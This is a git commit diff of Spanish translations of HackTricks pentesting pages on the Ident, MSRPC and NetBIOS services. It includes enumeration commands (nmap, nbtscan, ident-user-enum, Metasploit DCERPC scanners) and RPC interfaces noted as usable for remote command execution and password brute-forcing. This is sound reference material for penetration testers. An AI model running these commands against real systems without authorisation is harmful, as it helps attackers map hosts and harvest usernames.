Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

This commit is contained in:
Translator 2024-02-09 08:10:19 +00:00
parent 56c05084a2
commit 5aff94dee4
111 changed files with 2085 additions and 2155 deletions

View file

@ -1,34 +1,16 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
# Manejadores de Protocolo en WebView
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Manipuladores de Protocolo WebView

View file

@ -2,28 +2,30 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
Obtén Acceso Hoy:
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Información Básica
Es un [protocolo](https://en.wikipedia.org/wiki/Protocol_(computing)) de [Internet](https://en.wikipedia.org/wiki/Internet) que ayuda a identificar al usuario de una conexión [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) en particular.
El **Protocolo Ident** se utiliza en **Internet** para asociar una **conexión TCP** con un usuario específico. Originalmente diseñado para ayudar en la **gestión de redes** y **seguridad**, opera permitiendo a un servidor consultar a un cliente en el puerto 113 para solicitar información sobre el usuario de una conexión TCP particular.
Sin embargo, debido a las preocupaciones modernas sobre la privacidad y el potencial de uso indebido, su uso ha disminuido, ya que puede revelar información del usuario a partes no autorizadas de manera inadvertida. Se recomiendan medidas de seguridad mejoradas, como conexiones cifradas y controles de acceso estrictos, para mitigar estos riesgos.
**Puerto predeterminado:** 113
```
@ -34,11 +36,11 @@ PORT STATE SERVICE
### **Manual - Obtener usuario/Identificar el servicio**
Si una máquina está ejecutando el servicio ident y samba (445) y estás conectado a samba usando el puerto 43218. Puedes obtener qué usuario está ejecutando el servicio samba haciendo:
Si una máquina está ejecutando el servicio ident y samba (445) y estás conectado a samba usando el puerto 43218. Puedes obtener qué usuario está ejecutando el servicio de samba haciendo:
![](<../.gitbook/assets/image (15) (1) (1).png>)
Si solo presionas enter cuando te conectas al servicio:
Si simplemente presionas enter cuando te conectas al servicio:
![](<../.gitbook/assets/image (16) (1) (1).png>)
@ -48,7 +50,7 @@ Otros errores:
### Nmap
Por defecto (-sC), nmap identificará a cada usuario de cada puerto en ejecución:
Por defecto (`-sC``) nmap identificará a cada usuario de cada puerto en ejecución:
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@ -65,7 +67,7 @@ PORT STATE SERVICE VERSION
```
### Ident-user-enum
Ident-user-enum es un sencillo script PERL para consultar el servicio ident (113/TCP) con el fin de determinar el propietario del proceso que escucha en cada puerto TCP de un sistema objetivo. La lista de nombres de usuario recopilada puede utilizarse para ataques de adivinación de contraseñas en otros servicios de red. Se puede instalar con `apt install ident-user-enum`.
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) es un script PERL simple para consultar el servicio ident (113/TCP) con el fin de determinar el propietario del proceso que escucha en cada puerto TCP de un sistema objetivo. La lista de nombres de usuario recopilada se puede utilizar para ataques de adivinanza de contraseñas en otros servicios de red. Se puede instalar con `apt install ident-user-enum`.
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@ -85,8 +87,8 @@ identd.conf
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -100,7 +102,7 @@ Entry_1:
Name: Notes
Description: Notes for Ident
Note: |
Is an Internet protocol that helps identify the user of a particular TCP connection.
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
@ -111,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
```
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -19,19 +19,19 @@ Otras formas de apoyar a HackTricks:
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
Involúcrate con contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente actualizado con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## Información Básica
El protocolo de Llamada a Procedimiento Remoto de Microsoft (MSRPC), un modelo cliente-servidor que permite a un programa solicitar un servicio de un programa ubicado en otra computadora sin entender los detalles de la red, se derivó inicialmente de software de código abierto y posteriormente fue desarrollado y con derechos de autor por Microsoft.
El protocolo de Llamada a Procedimiento Remoto de Microsoft (MSRPC), un modelo cliente-servidor que permite a un programa solicitar un servicio de un programa ubicado en otra computadora sin entender los detalles de la red, se derivó inicialmente de software de código abierto y posteriormente fue desarrollado y protegido por derechos de autor por Microsoft.
El mapeador de puntos finales de RPC se puede acceder a través de los puertos TCP y UDP 135, SMB en TCP 139 y 445 (con una sesión nula o autenticada), y como un servicio web en el puerto TCP 593.
```
@ -53,7 +53,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
```
El acceso al servicio de localización de RPC está habilitado a través de protocolos específicos: ncacn\_ip\_tcp y ncadg\_ip\_udp para acceder a través del puerto 135, ncacn\_np para conexiones SMB, y ncacn\_http para comunicación RPC basada en web. Los siguientes comandos ejemplifican la utilización de módulos de Metasploit para auditar e interactuar con servicios MSRPC, centrándose principalmente en el puerto 135:
El acceso al servicio de localización de RPC está habilitado a través de protocolos específicos: ncacn\_ip\_tcp y ncadg\_ip\_udp para acceder a través del puerto 135, ncacn\_np para conexiones SMB, y ncacn\_http para comunicación RPC basada en web. Los siguientes comandos ejemplifican la utilización de módulos de Metasploit para auditar e interactuar con los servicios MSRPC, centrándose principalmente en el puerto 135:
```bash
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
@ -65,41 +65,48 @@ Todas las opciones excepto `tcp_dcerpc_auditor` están específicamente diseñad
#### Interfaces RPC destacadas
**IFID**: 12345778-1234-abcd-ef00-0123456789ab
**Named Pipe**: \pipe\lsarpc
**Descripción**: Interfaz LSA, utilizada para enumerar usuarios.
* **IFID**: 12345778-1234-abcd-ef00-0123456789ab
* **Named Pipe**: `\pipe\lsarpc`
* **Descripción**: Interfaz LSA, utilizada para enumerar usuarios.
**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
**Named Pipe**: \pipe\lsarpc
**Descripción**: Interfaz de Servicios de Directorio (DS) de LSA, utilizada para enumerar dominios y relaciones de confianza.
**IFID**: 12345778-1234-abcd-ef00-0123456789ac
**Named Pipe**: \pipe\samr
**Descripción**: Interfaz SAMR de LSA, utilizada para acceder a elementos públicos de la base de datos SAM (por ejemplo, nombres de usuario) y para forzar contraseñas de usuario independientemente de la política de bloqueo de cuentas.
* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
* **Named Pipe**: `\pipe\lsarpc`
* **Descripción**: Interfaz de Servicios de Directorio (DS) de LSA, utilizada para enumerar dominios y relaciones de confianza.
**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
**Named Pipe**: \pipe\atsvc
**Descripción**: Programador de tareas, utilizado para ejecutar comandos de forma remota.
**IFID**: 338cd001-2244-31f1-aaaa-900038001003
**Named Pipe**: \pipe\winreg
**Descripción**: Servicio de registro remoto, utilizado para acceder y modificar el registro del sistema.
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
* **Named Pipe**: `\pipe\samr`
* **Descripción**: Interfaz SAMR de LSA, utilizada para acceder a elementos públicos de la base de datos SAM (por ejemplo, nombres de usuario) y forzar contraseñas de usuario independientemente de la política de bloqueo de cuentas.
**IFID**: 367abb81-9844-35f1-ad32-98f038001003
**Named Pipe**: \pipe\svcctl
**Descripción**: Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos.
**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
**Named Pipe**: \pipe\srvsvc
**Descripción**: Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos.
* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
* **Named Pipe**: `\pipe\atsvc`
* **Descripción**: Programador de tareas, utilizado para ejecutar comandos de forma remota.
**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
**Named Pipe**: \pipe\epmapper
**Descripción**: Interfaz DCOM, utilizada para forzar contraseñas y recopilar información a través de WM.
* **IFID**: 338cd001-2244-31f1-aaaa-900038001003
* **Named Pipe**: `\pipe\winreg`
* **Descripción**: Servicio de registro remoto, utilizado para acceder y modificar el registro del sistema.
* **IFID**: 367abb81-9844-35f1-ad32-98f038001003
* **Named Pipe**: `\pipe\svcctl`
* **Descripción**: Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos.
* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
* **Named Pipe**: `\pipe\srvsvc`
* **Descripción**: Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos.
* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
* **Named Pipe**: `\pipe\epmapper`
* **Descripción**: Interfaz DCOM, utilizada para forzar contraseñas y recopilar información a través de WM.
### Identificación de direcciones IP
Utilizando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente de [la investigación de Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), es posible abusar del método _**ServerAlive2**_ dentro de la interfaz _**IOXIDResolver**_.
Utilizando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente de la investigación de [Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), es posible abusar del método _**ServerAlive2**_ dentro de la interfaz _**IOXIDResolver**_.
Este método ha sido utilizado para obtener información de interfaz como la dirección **IPv6** de la máquina HTB _APT_. Ver [aquí](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) el análisis de 0xdf sobre APT, que incluye un método alternativo utilizando rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (ver arriba).
@ -136,7 +143,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,19 +1,37 @@
## Servicio de nombres NetBios
# 137,138,139 - Pentesting NetBios
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Servicio de Nombres NetBios
El **Servicio de Nombres NetBIOS** juega un papel crucial, involucrando varios servicios como **registro y resolución de nombres**, **distribución de datagramas** y **servicios de sesión**, utilizando puertos específicos para cada servicio.
[Desde Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
* Servicio de nombres para registro y resolución de nombres (puertos: 137/udp y 137/tcp).
* Servicio de distribución de datagramas para comunicación sin conexión (puerto: 138/udp).
* Servicio de sesión para comunicación orientada a conexión (puerto: 139/tcp).
* Servicio de sesión para comunicación orientada a la conexión (puerto: 139/tcp).
### Servicio de nombres
### Servicio de Nombres
Cada máquina debe tener un nombre dentro de la red NetBios. Para solicitar un nombre, una máquina debe enviar un paquete "Consulta de nombre" en difusión y si alguien responde que ya está usando ese nombre, la máquina puede usar ese nombre. Si hay un servidor de Servicio de Nombres, la computadora podría preguntar al servidor de Servicio de Nombres si alguien está usando el nombre que quiere usar.
Para descubrir la dirección IP de un nombre, una PC debe enviar un paquete "Consulta de nombre" y esperar si alguien responde. Si hay un servidor de Servicio de Nombres, la PC puede preguntarle por la IP del nombre.
Para que un dispositivo participe en una red NetBIOS, debe tener un nombre único. Esto se logra a través de un **proceso de difusión** donde se envía un paquete de "Consulta de Nombre". Si no se reciben objeciones, se considera que el nombre está disponible. Alternativamente, se puede consultar directamente a un **servidor de Servicio de Nombres** para verificar la disponibilidad del nombre o resolver un nombre a una dirección IP. Herramientas como `nmblookup`, `nbtscan` y `nmap` se utilizan para enumerar servicios NetBIOS, revelando nombres de servidores y direcciones MAC.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
```
Enumerar un servicio NetBIOS te permite obtener los nombres que está utilizando el servidor y la dirección MAC del servidor.
Enumerar un servicio NetBIOS te permite obtener los nombres que el servidor está utilizando y la dirección MAC del servidor.
```bash
nmblookup -A <IP>
nbtscan <IP>/30
@ -21,22 +39,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Servicio de Distribución de Datagramas
Los datagramas de NetBIOS se envían a través de UDP. Un datagrama se envía con un paquete "Directo Único" o "Directo de Grupo" si se envía a un nombre de NetBIOS en particular, o con un paquete "Broadcast" si se envía a todos los nombres de NetBIOS en la red.
Los datagramas NetBIOS permiten la comunicación sin conexión a través de UDP, admitiendo mensajería directa o difusión a todos los nombres de red. Este servicio utiliza el puerto **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
```
### Servicio de Sesión
El modo de sesión permite que dos computadoras establezcan una conexión para una "conversación", permite manejar mensajes más grandes y proporciona detección y recuperación de errores.
Para interacciones orientadas a la conexión, el **Servicio de Sesión** facilita una conversación entre dos dispositivos, aprovechando conexiones **TCP** a través del puerto **139/tcp**. Una sesión comienza con un paquete de "Solicitud de Sesión" y puede establecerse en función de la respuesta. El servicio admite mensajes más grandes, detección de errores y recuperación, con TCP manejando el control de flujo y la retransmisión de paquetes.
Las sesiones se establecen intercambiando paquetes. La computadora que establece la sesión intenta hacer una conexión [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) al puerto 139 de la computadora con la que se establecerá la sesión. Si se establece la conexión, la computadora que establece la sesión envía a través de la conexión un paquete de "Solicitud de Sesión" con los nombres NetBIOS de la aplicación que establece la sesión y el nombre NetBIOS al que se establecerá la sesión. La computadora con la que se establecerá la sesión responderá con una "Respuesta Positiva de Sesión" indicando que se puede establecer una sesión o una "Respuesta Negativa de Sesión" indicando que no se puede establecer una sesión (ya sea porque esa computadora no está escuchando sesiones que se establecen con ese nombre o porque no hay recursos disponibles para establecer una sesión con ese nombre).
La transmisión de datos dentro de una sesión implica **paquetes de Mensaje de Sesión**, y las sesiones se terminan cerrando la conexión TCP.
Los datos se transmiten durante una sesión establecida mediante paquetes de Mensaje de Sesión.
TCP maneja el control de flujo y la retransmisión de todos los paquetes de servicio de sesión, y la división del flujo de datos sobre el cual se transmiten los paquetes en datagramas [IP](https://en.wikipedia.org/wiki/Internet\_Protocol) lo suficientemente pequeños como para caber en paquetes de capa de enlace.
Las sesiones se cierran cerrando la conexión TCP.
Estos servicios son fundamentales para la funcionalidad de **NetBIOS**, permitiendo una comunicación eficiente y el intercambio de recursos en una red. Para obtener más información sobre los protocolos TCP e IP, consulte sus respectivas páginas de [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) e [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
@ -54,30 +68,32 @@ Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Netbios #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for NetBios
Note: |
Name service for name registration and resolution (ports: 137/udp and 137/tcp).
Datagram distribution service for connectionless communication (port: 138/udp).
Session service for connection-oriented communication (port: 139/tcp).
Name: Notes
Description: Notes for NetBios
Note: |
Name service for name registration and resolution (ports: 137/udp and 137/tcp).
Datagram distribution service for connectionless communication (port: 138/udp).
Session service for connection-oriented communication (port: 139/tcp).
Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use.
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
Entry_2:
Name: Find Names
Description: Three scans to find the names of the server
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
Name: Find Names
Description: Three scans to find the names of the server
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
